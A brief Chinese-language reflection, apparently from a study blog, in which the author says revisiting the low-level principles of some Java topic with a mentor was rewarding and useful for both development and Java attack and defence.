对于这一部分在初学Java的时候也大概了解了一下,但是没有细致的去分析代码的底层原理,回过头来再次重新跟随解师傅梳理一遍还是有很多收获的,不得不说关于底层如果了解的深入以及印象深刻的话,对于其他学习大有益处,不管是开发抑或是Java攻防。